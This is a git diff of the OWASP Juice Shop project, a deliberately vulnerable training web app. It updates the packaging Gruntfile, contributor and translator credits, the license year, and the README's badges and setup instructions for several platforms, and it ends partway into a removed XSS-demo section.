${md5FileName}.`).verbose.write('...').ok() + grunt.log.writeln() + }) + }) + + grunt.loadNpmTasks('grunt-replace-json') grunt.loadNpmTasks('grunt-contrib-compress') - grunt.registerTask('package', [ 'compress:pckg' ]) + grunt.registerTask('package', ['replace_json:manifest', 'compress:pckg', 'checksum']) } diff --git a/HALL_OF_FAME.md b/HALL_OF_FAME.md index 837ec55139f..d86aa1799f4 100644 --- a/HALL_OF_FAME.md +++ b/HALL_OF_FAME.md @@ -1,97 +1,81 @@ # Hall of Fame +## Core Team + +- [Björn Kimminich](https://github.com/bkimminich) aka `bkimminich` + ([Project Leader](https://www.owasp.org/index.php/Projects/Project_Leader_Responsibilities)) + [![Keybase PGP](https://img.shields.io/keybase/pgp/bkimminich)](https://keybase.io/bkimminich) +- [Jannik Hollenbach](https://github.com/J12934) aka `J12934` +- [Timo Pagel](https://github.com/wurstbrot) aka `wurstbrot` + ## GitHub Contributors -Based on [GitHub](https://github.com/bkimminich/juice-shop) commits on -`master` as of Wed, 05 Dec 2018 +As reported by [`git-stats -a -s '2014'`](https://www.npmjs.com/package/git-stats) analysis of `master` as of Mon, 26 Sep +2022 after deduplication with `.mailmap`. -- [Aashish Singh](https://github.com/Aashish683) aka `Aashish683` -- [Shoeb Patel](https://github.com/CaptainFreak) aka `CaptainFreak` -- [m4l1c3](https://github.com/m4l1c3) aka `m4l1c3` -- [Josh Grossman](https://github.com/tghosth) aka `tghosth` -- [Madhur Wadhwa](https://github.com/madhurw7) aka `madhurw7` -- [Omer Levi Hevroni](https://github.com/omerlh) aka `omerlh` -- [Greg Guthe](https://github.com/g-k) aka `g-k` -- [Jln Wntr](https://github.com/JlnWntr) aka `JlnWntr` -- [Simon Basset](https://github.com/simbas) aka `simbas` -- [Shivam Luthra](https://github.com/shivamluthra) aka `shivamluthra` -- [Ingo Bente](https://github.com/ingben) aka `ingben` -- [Yuvraj](https://github.com/evalsocket) aka `evalsocket` -- [Viktor Lindström](https://github.com/ViktorLindstrm) aka - `ViktorLindstrm` -- [Aaron Edwards](https://github.com/aaron-m-edwards) aka - `aaron-m-edwards` -- [Jet Anderson](https://github.com/thatsjet) aka `thatsjet` -- [Zander Mackie](https://github.com/Zandar) aka `Zandar` -- [Artemiy Knipe](https://github.com/awflwafl) aka `awflwafl` -- [Jason Haley](https://github.com/JasonHaley) aka `JasonHaley` -- [Ken Friis Larsen](https://github.com/kfl) aka `kfl` -- [Simon De Lang](https://github.com/simondel) aka `simondel` -- [battletux](https://github.com/battletux) aka `battletux` -- [AviD](https://github.com/avidouglen) aka `avidouglen` -- [Achim Grimm](https://github.com/achimgrimm) aka `achimgrimm` -- [Christian Kühn](https://github.com/cy4n) aka `cy4n` -- [Stuart Winter-Tear](https://github.com/StuartWinterTear) aka - `StuartWinterTear` -- [Manabu Niseki](https://github.com/ninoseki) aka `ninoseki` -- [Abhishek bundela](https://github.com/abhishekbundela) aka - `abhishekbundela` -- [Joe Butler](https://github.com/incognitjoe) aka `incognitjoe` -- [Stephen O'Brien](https://github.com/wayofthepie) aka `wayofthepie` -- [Johanna](https://github.com/johanna-a) aka `johanna-a` -- [Alvaro Viebrantz](https://github.com/alvarowolfx) aka `alvarowolfx` -- [Gorka Vicente](https://github.com/gorkavicente) aka `gorkavicente` -- [Dinis Cruz](https://github.com/DinisCruz) aka `DinisCruz` +![Top git contributors](screenshots/git-stats.png) ## Translators -Based on [CrowdIn](https://crowdin.com/project/owasp-juice-shop) -translations and commits to `app/i18n`. Grouped by language as of Fri, -13 Apr 2018 on `develop`. +As exported from +[CrowdIn Top Members Report](https://crowdin.com/project/owasp-juice-shop/reports/top-members) +(by # of translated words) for all languages as of Wed, 24 Auf 2022 after +[conversion into Markdown](https://thisdavej.com/copy-table-in-excel-and-paste-as-a-markdown-table/). + +| Name | Languages | Translated | +|------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------| +| Björn Kimminich (bkimminich) | German; German, Switzerland; Romanian; Chinese Simplified; Danish; Spanish; Dutch; French; Chinese Traditional; Estonian; Portuguese, Brazilian; Russian; Portuguese; Arabic; Norwegian; Czech; Hindi; Swedish; Azerbaijani; Turkish; Japanese; Finnish; Polish; Indonesian; Italian; Hebrew; Chinese Traditional, Hong Kong; Thai; Korean; Burmese; Greek; Bulgarian; Georgian; Klingon; Latvian; Hungarian; Catalan; Lithuanian; Urdu (Pakistan); Sinhala; Ukrainian; Armenian | 32171 | +| tongsonghua (yolylight) | Chinese Simplified | 6650 | +| Derek Chan (ChanDerek) | Chinese Traditional | 5411 | +| DenisCherean | Romanian | 5009 | +| Yannick (yannickboy15) | Dutch | 3872 | +| NCAA | Danish | 3855 | +| Enrique Rossel (erossel) | Spanish | 3416 | +| Simon Basset (simbas) | French | 2933 | +| MortenHC | Danish | 2597 | +| janesmae | Estonian | 2594 | +| toshiaizawa | Japanese | 2302 | +| schattenbaum | German, Switzerland; German | 2181 | +| Jean Novak (jeannovak) | Portuguese, Brazilian | 2151 | +| ShahinF27 (Khan27) | Azerbaijani | 2125 | +| Lang Mediator (lang.mediator) | Russian | 1949 | +| Bogdan Mihai Nicolae (bogminic) | Romanian | 1507 | +| Timo Meriläinen (owasp.timo) | Finnish | 1470 | +| Herisatry Lubaba (herisatry) | French | 1465 | +| Dana-Maria Munteanu (danamunteanu) | Romanian | 1366 | +| Dmitry (shipko) | Russian | 1235 | +| Petr Gallus (PetrGallus) | Czech | 1222 | +| htchen99 | Chinese Traditional | 1189 | +| owangen | Norwegian; Danish; Klingon | 1139 | +| sjroh | Korean | 1063 | -- :azerbaijan: Shahin Farzaliyev -- :united_arab_emirates: :tunisia: Oussama Bouthouri -- :brazil: sergio.kubota, Estevam Arantes, Richardson Lima -- :bulgaria: Stella Dineva -- :cn: Coink, rToxic, Forbidden -- :czech_republic: Martin Hartl, stejkenzie -- :denmark: Allan Kimmer Jensen, owangen, Rasmus Bidstrup -- :estonia: bmoritz, janesmae, Egert Aia, spruur, rakzcs -- :finland: Nico Ådahl -- :fr: Kylian Runembert, vientspam, Simon Basset -- :de: Björn Kimminich -- :hong_kong: r0n1am -- :hungary: OliverkeHU -- :georgia: GiorgiSharia -- :india: Shivam Luthra -- :indonesia: adeyosemanputra, bahrunghozali, kahfiehudson, Mohammad - Febri Ramadlan, Rick Daalhuizen, Syahrol -- :israel: AviD, Omer Levi Hevroni -- :it: vientspam, Claudio Snidero -- :jp: ninoseki, nilfigo, Riotaro Okada, Michiya Tominaga -- :kr: sjroh -- :myanmar: thinbashane -- :netherlands: Bart Decker, Daan Sprenkels, Manu B, rachidbm, - vientspam, Wout Huygens, Rick Daalhuizen -- :norway: owangen -- :poland: Idomin Ninja, Andrew Pio, niemyskaa -- :portugal: Alvaro Viebrantz, Estevam Arantes -- :romania: Mircea Ulmeanu, orjen, timexlord -- :ru: fieldhill13, talisainen -- :es: alopezhu, CarlCampbell, Carlos Allendes, Ezequiel Andino, - mateomartinez, soledad aro, Gorka Vicente, Daniel Paniagua -- :sweden: Anders Lindberg, atteism, cello-anders, Klas Fahlberg, - landinl, Mattias Persson, Pär Swedberg, Tomas Rosenqvist -- :tr: Ender Çulha +**Additional translations by:** + +Giovanni (cruzgio), Alexander Nissen (Nissen96), fabrizio1979, OrNol (TRNSRL), Jorge Estigarribia (jorgestiga), Pablo Barrera (pablo.barrera), Coink (CoinkWang), Phakphum Visetnut (phakphum_visetnut), Kamil Vavra (vavkamil), Abdo Farwan (abdofarwan), AviD (avidouglen), Stavros M. (msstavros), Stella Dineva (stella.dineva), Fredrik Bore (Boren), GiorgiSharia, Songrit Kitisriworapan (songritk), Oussama Bouthouri (Boussama), sergio.kubota, Ender Çulha (ecu), Claudio Snidero (cla7997), Marc Rüttler (MarcRler), r0n1am, Davis Freimanis (davisfreimanis), fieldhill13, thinbashane, stejkenzie, rToxic, adeyosemanputra, Kylian Runembert (FunnHydra), Andrew Pio (siranen), Filipe Azevedo (filipaze98), Henry Hu (ninedter), zvargun, timexlord, Maria Tiurina (tiurina.maria), ztzxt, Bernhard Hirschmann (bhirschmann20), Daniel Paniagua (danielgpm), Mehyar Shammas (mashkuov), asifnm, Estevam Arantes (Es7evam), REMOVED_USER, FoteiniAthina, orjen, vientspam, Allan Kimmer Jensen (Saturate), Idomin Ninja (Idomin), BostonLow, Abdullah alshowaiey (Abdullah201), にのせき (ninoseki), Egert Aia (aiaegert), Nico Ådahl (nigotiator), Lars Grini (lars.grini), Jan Wolff (jan.wolff.owasp), Pär Svedberg (grebdevs), rakzcs, Ido Har-Tuv (IdoHartuv), Tomas Rosenqvist (Muamaidbengt), Karl (spruur), Adriano Pereira Junior (adrianoapj), Albert Camps (campsupc), Zenmaster212, jasinski_tomasz, Daan Sprenkels (dsprenkels), Aleksandra Niemyska (niemyskaa), atteism, Diego Andreé Porras Rivas (andree.rivas), mateomartinez, Rasmus Bidstrup (rasmusbidstrup), Koji O (marlboro20light), Bruno Rodrigues (bmvr), Riotaro OKADA (riotaro), talisainen, OliverkeHU, Kitisak Jirawannakool (jkitisak), Bart Decker (Decker), Daniel Christensen (Tejendi), Mohammad Febri Ramadlan (mohammadfebrir), Manu B (Rosina), coavacoffee, bill (Hawxdu), Klas Fahlberg (FahlbergKlas), CarlCampbell, Natalia (notNao), Syahrol, Lenka Dubois (lenkadubois), rachidbm, Mattias Persson (mattiasbpersson), André Santos Duarte Fonseca (Andre_Duarte), sp8c3, cello-anders, Oussama Bouthouri (oussama.bouthouri), හෙළබස සමූහය (HelaBasa), GK (lollipas), bmoritz, landinl, mrudul, Héctor Lecuanda (hlecuanda), Michiya Tominaga (nuwaa), Alain Herreman (PapillonPerdu), Ilkka Savela (ile2021), gray litrot (graylitrot), Mircea Ulmeanu (boltzmann.gt), Martin Hartl (hartlmartin), Roy Quiceno (rquiceno), Carlos Allendes (OwaspChile), redr0n19, saetgar, Shivam Soni (i-shivamsoni), ManuelFranz, Anthony3000, Yang Lucas (Lucas.y), REMOVED_USER, nilfigo, Richardson Lima (contatorichardsonlima), Katharina Wittkowsky (kwittkowsky), Frederik Bøgeskov Johnsen (cpfbj), soledad aro (cristinagarciaaro), Stefan Daugaard Poulsen (cyberzed), Ezequiel Andino (acidobinario), motofy, kahfiehudson, Origami, dav1ds ## Special Thanks * Inspired by the "classic" [BodgeIt Store](https://github.com/psiinon/bodgeit) by [@psiinon](https://github.com/psiinon) -* Revised OWASP Juice Shop and Juice Shop CTF logo artworks by Emily - Gundry (courtesy of [@SecureState](https://github.com/SecureState)) -* Wallpaper artworks by Mike Branscum (courtesy of [@daylightstudio](https://github.com/daylightstudio)) -* [Pwning OWASP Juice Shop](https://leanpub.com/juice-shop) cover - artwork by [Patch Kroll](https://99designs.de/profiles/3099878) -* [Banner](https://github.com/OWASP/owasp-swag/tree/master/projects/juice-shop/banners) and [flyer](https://github.com/OWASP/owasp-swag/tree/master/projects/juice-shop/flyers) artwork by [logicainfo](https://99designs.de/profiles/logicainfo) +* Revised OWASP Juice Shop and Juice Shop CTF logo artworks by Emily Gundry (courtesy + of [@SecureState](https://github.com/SecureState)) +* Wallpaper artworks by Mike Branscum (courtesy of + [@daylightstudio](https://github.com/daylightstudio)) +* [Pwning OWASP Juice Shop](https://leanpub.com/juice-shop) cover artwork + by [Patch Kroll](https://99designs.de/profiles/3099878) +* [Banner](https://github.com/OWASP/owasp-swag/tree/master/projects/juice-shop/banners) + and + [flyer](https://github.com/OWASP/owasp-swag/tree/master/projects/juice-shop/flyers) + artwork by [logicainfo](https://99designs.de/profiles/logicainfo) +* Official + [OWASP Juice Shop Jingle](https://soundcloud.com/braimee/owasp-juice-shop-jingle) + written and performed by [Brian Johnson](https://github.com/braimee) +* Juicy Chat Bot artworks by Kharisma Mulyana (courtesy of + [Timo Pagel](https://github.com/wurstbrot/)) +* Admin profile picture artworks by Kharisma Mulyana (courtesy of + [Timo Pagel](https://github.com/wurstbrot/)) + +## Stargazers (over time) + +[![Stargazers over time](https://starchart.cc/juice-shop/juice-shop.svg)](https://starchart.cc/juice-shop/juice-shop) diff --git a/LICENSE b/LICENSE index 6abf9239dc7..336d04d459e 100644 --- a/LICENSE +++ b/LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2014-2019 Bjoern Kimminich +Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation diff --git a/README.md b/README.md index a1ae3c44a63..d6f45982538 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,18 @@ -# ![Juice Shop Logo](https://raw.githubusercontent.com/bkimminich/juice-shop/develop/frontend/src/assets/public/images/JuiceShop_Logo_100px.png) OWASP Juice Shop [![OWASP Flagship](https://img.shields.io/badge/owasp-flagship%20project-48A646.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Flagship_Projects) [![GitHub release](https://img.shields.io/github/release/bkimminich/juice-shop.svg)](https://github.com/bkimminich/juice-shop/releases/latest) [![Twitter Follow](https://img.shields.io/twitter/follow/owasp_juiceshop.svg?style=social&label=Follow)](https://twitter.com/owasp_juiceshop) - -[![Build Status](https://travis-ci.org/bkimminich/juice-shop.svg?branch=master)](https://travis-ci.org/bkimminich/juice-shop) -[![Build status](https://ci.appveyor.com/api/projects/status/903c6mnns4t7p6fa/branch/master?svg=true)](https://ci.appveyor.com/project/bkimminich/juice-shop/branch/master) -[![Test Coverage](https://api.codeclimate.com/v1/badges/2a7af720d39b08a09904/test_coverage)](https://codeclimate.com/github/bkimminich/juice-shop/test_coverage) -[![Maintainability](https://api.codeclimate.com/v1/badges/2a7af720d39b08a09904/maintainability)](https://codeclimate.com/github/bkimminich/juice-shop/maintainability) -[![Greenkeeper badge](https://badges.greenkeeper.io/bkimminich/juice-shop-ctf.svg)](https://greenkeeper.io/) -[![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/223/badge)](https://bestpractices.coreinfrastructure.org/projects/223) -![GitHub stars](https://img.shields.io/github/stars/bkimminich/juice-shop.svg?label=GitHub%20%E2%98%85&style=flat) +# ![Juice Shop Logo](https://raw.githubusercontent.com/juice-shop/juice-shop/master/frontend/src/assets/public/images/JuiceShop_Logo_100px.png) OWASP Juice Shop + +[![OWASP Flagship](https://img.shields.io/badge/owasp-flagship%20project-48A646.svg)](https://owasp.org/projects/#sec-flagships) +[![GitHub release](https://img.shields.io/github/release/juice-shop/juice-shop.svg)](https://github.com/juice-shop/juice-shop/releases/latest) +[![Twitter Follow](https://img.shields.io/twitter/follow/owasp_juiceshop.svg?style=social&label=Follow)](https://twitter.com/owasp_juiceshop) +[![Subreddit subscribers](https://img.shields.io/reddit/subreddit-subscribers/owasp_juiceshop?style=social)](https://reddit.com/r/owasp_juiceshop) + +![CI/CD Pipeline](https://github.com/juice-shop/juice-shop/workflows/CI/CD%20Pipeline/badge.svg?branch=master) +[![Test Coverage](https://api.codeclimate.com/v1/badges/6206c8f3972bcc97a033/test_coverage)](https://codeclimate.com/github/juice-shop/juice-shop/test_coverage) +[![Maintainability](https://api.codeclimate.com/v1/badges/6206c8f3972bcc97a033/maintainability)](https://codeclimate.com/github/juice-shop/juice-shop/maintainability) +[![Code Climate technical debt](https://img.shields.io/codeclimate/tech-debt/juice-shop/juice-shop)](https://codeclimate.com/github/juice-shop/juice-shop/trends/technical_debt) +[![Cypress tests](https://img.shields.io/endpoint?url=https://dashboard.cypress.io/badge/simple/3hrkhu/master&style=flat&logo=cypress)](https://dashboard.cypress.io/projects/3hrkhu/runs) +[![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/223/badge)](https://bestpractices.coreinfrastructure.org/projects/223) +![GitHub stars](https://img.shields.io/github/stars/juice-shop/juice-shop.svg?label=GitHub%20%E2%98%85&style=flat) +[![Contributor Covenant](https://img.shields.io/badge/Contributor%20Covenant-v2.0%20adopted-ff69b4.svg)](CODE_OF_CONDUCT.md) > [The most trustworthy online shop out there.](https://twitter.com/dschadow/status/706781693504589824) > ([@dschadow](https://github.com/dschadow)) — @@ -14,108 +20,113 @@ > ([@shehackspurple](https://twitter.com/shehackspurple)) — > [Actually the most bug-free vulnerable application in existence!](https://youtu.be/TXAztSpYpvE?t=26m35s) > ([@vanderaj](https://twitter.com/vanderaj)) — -> [First you 😂😂then you 😢](https://twitter.com/kramse/status/1073168529405472768) ([@kramse](https://twitter.com/kramse)) - -OWASP Juice Shop is probably the most modern and sophisticated insecure web application! It can be used in security trainings, awareness demos, CTFs and as a guinea pig for security tools! Juice Shop encompasses vulnerabilities from the entire [OWASP Top Ten](https://www.owasp.org/index.php/OWASP_Top_Ten) along with many other security flaws found in real-world applications! - -![Juice Shop Screenshot Slideshow](screenshots/slideshow.gif) - -For a detailed introduction, full list of features and architecture -overview please visit the official project page: - +> [First you 😂😂then you 😢](https://twitter.com/kramse/status/1073168529405472768) +> ([@kramse](https://twitter.com/kramse)) — +> [But this doesn't have anything to do with juice.](https://twitter.com/coderPatros/status/1199268774626488320) +> ([@coderPatros' wife](https://twitter.com/coderPatros)) + +OWASP Juice Shop is probably the most modern and sophisticated insecure web application! It can be used in security +trainings, awareness demos, CTFs and as a guinea pig for security tools! Juice Shop encompasses vulnerabilities from the +entire +[OWASP Top Ten](https://owasp.org/www-project-top-ten) along with many other security flaws found in real-world +applications! + +![Juice Shop Screenshot Slideshow](screenshots/slideshow.gif) + +For a detailed introduction, full list of features and architecture overview please visit the official project page: + + +## Table of contents + +- [Setup](#setup) + - [From Sources](#from-sources) + - [Packaged Distributions](#packaged-distributions) + - [Docker Container](#docker-container) + - [Vagrant](#vagrant) + - [Amazon EC2 Instance](#amazon-ec2-instance) + - [Azure Container Instance](#azure-container-instance) + - [Google Compute Engine Instance](#google-compute-engine-instance) + - [Heroku](#heroku) + - [Gitpod](#gitpod) +- [Demo](#demo) +- [Documentation](#documentation) + - [Node.js version compatibility](#nodejs-version-compatibility) + - [Troubleshooting](#troubleshooting) + - [Official companion guide](#official-companion-guide) +- [Contributing](#contributing) +- [References](#references) +- [Merchandise](#merchandise) +- [Donations](#donations) +- [Contributors](#contributors) +- [Licensing](#licensing) ## Setup -### Deploy on Heroku (free ($0/month) dyno) - -1. [Sign up to Heroku](https://signup.heroku.com/) and - [log in to your account](https://id.heroku.com/login) -2. Click the button below and follow the instructions - -[![Deploy](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy) - -> This is the quickest way to get a running instance of Juice Shop! If -> you have forked this repository, the deploy button will automatically -> pick up your fork for deployment! As long as you do not perform any -> DDoS attacks you are free to use any tools or scripts to hack your -> Juice Shop instance on Heroku! +> You can find some less common installation variations in +> [the _Running OWASP Juice Shop_ documentation](https://pwning.owasp-juice.shop/part1/running.html). ### From Sources +![GitHub repo size](https://img.shields.io/github/repo-size/juice-shop/juice-shop.svg) + 1. Install [node.js](#nodejs-version-compatibility) -2. Run `git clone https://github.com/bkimminich/juice-shop.git` (or - clone [your own fork](https://github.com/bkimminich/juice-shop/fork) +2. Run `git clone https://github.com/juice-shop/juice-shop.git --depth 1` (or + clone [your own fork](https://github.com/juice-shop/juice-shop/fork) of the repository) 3. Go into the cloned folder with `cd juice-shop` -4. Run `npm install` (only has to be done before first start or when you - change the source code) +4. Run `npm install` (only has to be done before first start or when you change the source code) 5. Run `npm start` 6. Browse to -### Packaged Distributions [![GitHub release](https://img.shields.io/github/downloads/bkimminich/juice-shop/total.svg)](https://github.com/bkimminich/juice-shop/releases/latest) [![SourceForge](https://img.shields.io/sourceforge/dt/juice-shop.svg)](https://sourceforge.net/projects/juice-shop/) +### Packaged Distributions + +[![GitHub release](https://img.shields.io/github/downloads/juice-shop/juice-shop/total.svg)](https://github.com/juice-shop/juice-shop/releases/latest) +[![SourceForge](https://img.shields.io/sourceforge/dm/juice-shop?label=sourceforge%20downloads)](https://sourceforge.net/projects/juice-shop/) +[![SourceForge](https://img.shields.io/sourceforge/dt/juice-shop?label=sourceforge%20downloads)](https://sourceforge.net/projects/juice-shop/) -1. Install a 64bit [node.js](#nodejs-version-compatibility) on your - Windows (or Linux) machine +1. Install a 64bit [node.js](#nodejs-version-compatibility) on your Windows, MacOS or Linux machine 2. Download `juice-shop-___x64.zip` (or `.tgz`) attached to - [latest release](https://github.com/bkimminich/juice-shop/releases/latest) + [latest release](https://github.com/juice-shop/juice-shop/releases/latest) 3. Unpack and `cd` into the unpacked folder 4. Run `npm start` 5. Browse to -> Each packaged distribution includes some binaries for SQLite bound to -> the OS and node.js version which `npm install` was executed on. +> Each packaged distribution includes some binaries for `sqlite3` and +> `libxmljs` bound to the OS and node.js version which `npm install` was +> executed on. -### Docker Container [![Docker Automated build](https://img.shields.io/docker/automated/bkimminich/juice-shop.svg)](https://registry.hub.docker.com/u/bkimminich/juice-shop/) [![Docker Pulls](https://img.shields.io/docker/pulls/bkimminich/juice-shop.svg)](https://registry.hub.docker.com/u/bkimminich/juice-shop/) ![Docker Stars](https://img.shields.io/docker/stars/bkimminich/juice-shop.svg) [![](https://images.microbadger.com/badges/image/bkimminich/juice-shop.svg)](https://microbadger.com/images/bkimminich/juice-shop "Get your own image badge on microbadger.com") [![](https://images.microbadger.com/badges/version/bkimminich/juice-shop.svg)](https://microbadger.com/images/bkimminich/juice-shop "Get your own version badge on microbadger.com") +### Docker Container + +[![Docker Pulls](https://img.shields.io/docker/pulls/bkimminich/juice-shop.svg)](https://hub.docker.com/r/bkimminich/juice-shop) +![Docker Stars](https://img.shields.io/docker/stars/bkimminich/juice-shop.svg) +[![](https://images.microbadger.com/badges/image/bkimminich/juice-shop.svg)](https://microbadger.com/images/bkimminich/juice-shop +"Get your own image badge on microbadger.com") +[![](https://images.microbadger.com/badges/version/bkimminich/juice-shop.svg)](https://microbadger.com/images/bkimminich/juice-shop +"Get your own version badge on microbadger.com") 1. Install [Docker](https://www.docker.com) 2. Run `docker pull bkimminich/juice-shop` 3. Run `docker run --rm -p 3000:3000 bkimminich/juice-shop` 4. Browse to (on macOS and Windows browse to - if you are using docker-machine instead - of the native docker installation) - -> If you want to run Juice Shop on a Raspberry Pi 3, there is an -> unofficial Docker image available at -> which is based on -> `resin/rpi-raspbian` and maintained by -> [@battletux](https://github.com/battletux). - -#### Even easier: Run Docker Container from Docker Toolbox (Kitematic) - -1. Install and launch - [Docker Toolbox](https://www.docker.com/docker-toolbox) -2. Search for `juice-shop` and click _Create_ to download image and run - container -3. Click on the _Open_ icon next to _Web Preview_ to browse to OWASP - Juice Shop + if you are using docker-machine instead of the native docker installation) ### Vagrant 1. Install [Vagrant](https://www.vagrantup.com/downloads.html) and [Virtualbox](https://www.virtualbox.org/wiki/Downloads) -2. Run `git clone https://github.com/bkimminich/juice-shop.git` (or - clone [your own fork](https://github.com/bkimminich/juice-shop/fork) +2. Run `git clone https://github.com/juice-shop/juice-shop.git` (or + clone [your own fork](https://github.com/juice-shop/juice-shop/fork) of the repository) 3. Run `cd vagrant && vagrant up` -4. Browse to [192.168.33.10](http://192.168.33.10) - -> There is a very convenient Vagrant box available at -> (:microscope:) -> from [@commjoen](https://github.com/commjoen) which comes with latest -> Docker containers of the OWASP Juice Shop, -> [OWASP WebGoat](https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project) -> and other vulnerable web applications as well as pentesting tools like -> [OWASP ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project). +4. Browse to [192.168.56.110](http://192.168.56.110) ### Amazon EC2 Instance 1. In the _EC2_ sidenav select _Instances_ and click _Launch Instance_ 2. In _Step 1: Choose an Amazon Machine Image (AMI)_ choose an _Amazon Linux AMI_ or _Amazon Linux 2 AMI_ -3. In _Step 3: Configure Instance Details_ unfold _Advanced Details_ and - copy the script below into _User Data_ -4. In _Step 6: Configure Security Group_ add a _Rule_ that opens port 80 - for HTTP +3. In _Step 3: Configure Instance Details_ unfold _Advanced Details_ and copy the script below into _User Data_ +4. In _Step 6: Configure Security Group_ add a _Rule_ that opens port 80 for HTTP 5. Launch your instance 6. Browse to your instance's public DNS @@ -128,56 +139,56 @@ docker pull bkimminich/juice-shop docker run -d -p 80:3000 bkimminich/juice-shop ``` -#### Don't repeat yourself: Define an EC2 Launch Template - -1. In the _EC2_ sidenav select _Launch Templates_ and click _Create launch template_ -2. Under _Launch template contents_ select as _AMI ID_ either _Amazon Linux AMI_ or _Amazon Linux 2 AMI_ (by using _Search for AMI_) -3. In the same section add a _Security Group_ that opens port 80 for HTTP -4. Unfold _Advanced details_ at the bottom of the screen and paste in the script above into _User Data_ -5. Create your launch template -6. Launch one or multiple EC2 instances from your template -7. Browse to your instance's public DNS - -> Technically Amazon could view hacking activity on any EC2 instance as -> an attack on their AWS infrastructure! We highly discourage aggressive -> scanning or automated brute force attacks! You have been warned! - ### Azure Container Instance 1. Open and login (via `az login`) to your - [Azure CLI](https://azure.github.io/projects/clis/) **or** login to - the [Azure Portal](https://portal.azure.com), open the _CloudShell_ + [Azure CLI](https://azure.github.io/projects/clis/) **or** login to the [Azure Portal](https://portal.azure.com), + open the _CloudShell_ and then choose _Bash_ (not PowerShell). -2. Create a resource group by running `az group create --name --location ` -3. Create a new container by running `az container create - --resource-group --name --image - bkimminich/juice-shop --dns-name-label --ports 3000 - --ip-address public` -4. Your container will be available at `http://..azurecontainer.io:3000` - -> For more information please refer to the -> [detailed walkthrough with screenshots](http://jasonhaley.com/post/Setup-OWASP-Juice-Shop-in-Azure-Container-Instances-%28Part-3-of-3%29) -> by [@JasonHaley](https://github.com/JasonHaley). You can alternatively -> follow his guide to -> [set up OWASP Juice Shop as an Azure Web App for Containers](http://jasonhaley.com/post/Setup-OWASP-Juice-Shop-in-Web-App-for-Containers-%28Part-2-of-3%29). - -## Node.js version compatibility +2. Create a resource group by running `az group create --name --location ` +3. Create a new container by + running `az container create --resource-group --name --image bkimminich/juice-shop --dns-name-label --ports 3000 --ip-address public` +4. Your container will be available at `http://..azurecontainer.io:3000` -OWASP Juice Shop officially supports the following versions of -[node.js](http://nodejs.org) in line as close as possible with the -official [node.js LTS schedule](https://github.com/nodejs/LTS). Docker -images and packaged distributions are offered accordingly: +### Google Compute Engine Instance + +1. Login to the Google Cloud Console and + [open Cloud Shell](https://console.cloud.google.com/home/dashboard?cloudshell=true). +2. Launch a new GCE instance based on the juice-shop container. Take note of the `EXTERNAL_IP` provided in the output. -| node.js | [Docker image](https://registry.hub.docker.com/u/bkimminich/juice-shop) | [Packaged distributions](https://github.com/bkimminich/juice-shop/releases/latest) | -|:---------|:------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------| -| 11.x | | `juice-shop-_node11_windows_x64.zip`, `juice-shop-_node11_linux_x64.tgz` | -| __10.x__ | __`latest`__ (current official release), `snapshot` (preview from `develop` branch) | `juice-shop-_node10_windows_x64.zip`, `juice-shop-_node10_linux_x64.tgz` | -| 9.x | | `juice-shop-_node9_windows_x64.zip`, `juice-shop-_node9_linux_x64.tgz` | -| 8.x | | `juice-shop-_node8_windows_x64.zip`, `juice-shop-_node8_linux_x64.tgz` | +``` +gcloud compute instances create-with-container owasp-juice-shop-app --container-image bkimminich/juice-shop +``` -## Demo [![Heroku](https://heroku-badge.herokuapp.com/?app=juice-shop)](http://demo.owasp-juice.shop) +3. Create a firewall rule that allows inbound traffic to port 3000 + +``` +gcloud compute firewall-rules create juice-rule --allow tcp:3000 +``` + +4. Your container is now running and available at + `http://:3000/` + +### Heroku + +1. [Sign up to Heroku](https://signup.heroku.com/) and + [log in to your account](https://id.heroku.com/login) +2. Click the button below and follow the instructions + +[![Deploy](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy) + +If you have forked the Juice Shop repository on GitHub, the _Deploy to +Heroku_ button will deploy your forked version of the application. + +### Gitpod + +1. Login to [gitpod.io](https://gitpod.io) and use to start a new workspace. If you want to spin up a forked repository, your URL needs to be adjusted accordingly. + +2. After the Gitpod workspace is loaded, Gitpod tasks is still running to install `npm install` and launch the website. Despite Gitpod showing your workspace state already as _Running_, you need to wait until the installation process is done, before the website becomes accessable. The _Open Preview Window (Internal Browser)_, will open automatically and refresh itself automatically when the server has started. + +3. Your Juice Shop instance is now also available at `https://3000-..gitpod.io`. + +## Demo Feel free to have a look at the latest version of OWASP Juice Shop: @@ -186,145 +197,111 @@ Feel free to have a look at the latest version of OWASP Juice Shop: > supposed__ to use this instance for your own hacking endeavours! No > guaranteed uptime! Guaranteed stern looks if you break it! -## Customization - -Via a YAML configuration file in `/config`, the OWASP Juice Shop can be -customized in its content and look & feel. - -For detailed instructions and examples please refer to -[our _Customization_ documentation](https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part1/customization.html). - -## CTF-Extension +## Documentation -If you want to run OWASP Juice Shop as a Capture-The-Flag event, we -recommend you set it up along with a [CTFd](https://ctfd.io) server -conveniently using the official -[`juice-shop-ctf-cli`](https://www.npmjs.com/package/juice-shop-ctf-cli) -tool. +### Node.js version compatibility -For step-by-step instructions and examples please refer to -[the _Hosting a CTF event_ chapter](https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part1/ctf.html) -of our companion guide ebook. +![GitHub package.json dynamic](https://img.shields.io/github/package-json/cpu/bkimminich/juice-shop) +![GitHub package.json dynamic](https://img.shields.io/github/package-json/os/bkimminich/juice-shop) -## XSS Demo +OWASP Juice Shop officially supports the following versions of +[node.js](http://nodejs.org) in line with the official +[node.js LTS schedule](https://github.com/nodejs/LTS) as close as possible. Docker images and packaged distributions are +offered accordingly. -To show the possible impact of -[XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)), you -can download this -[docker-compose](https://raw.githubusercontent.com/wurstbrot/shake-logger/master/docker-compose.yml)-file -and run `docker-compose up` to start 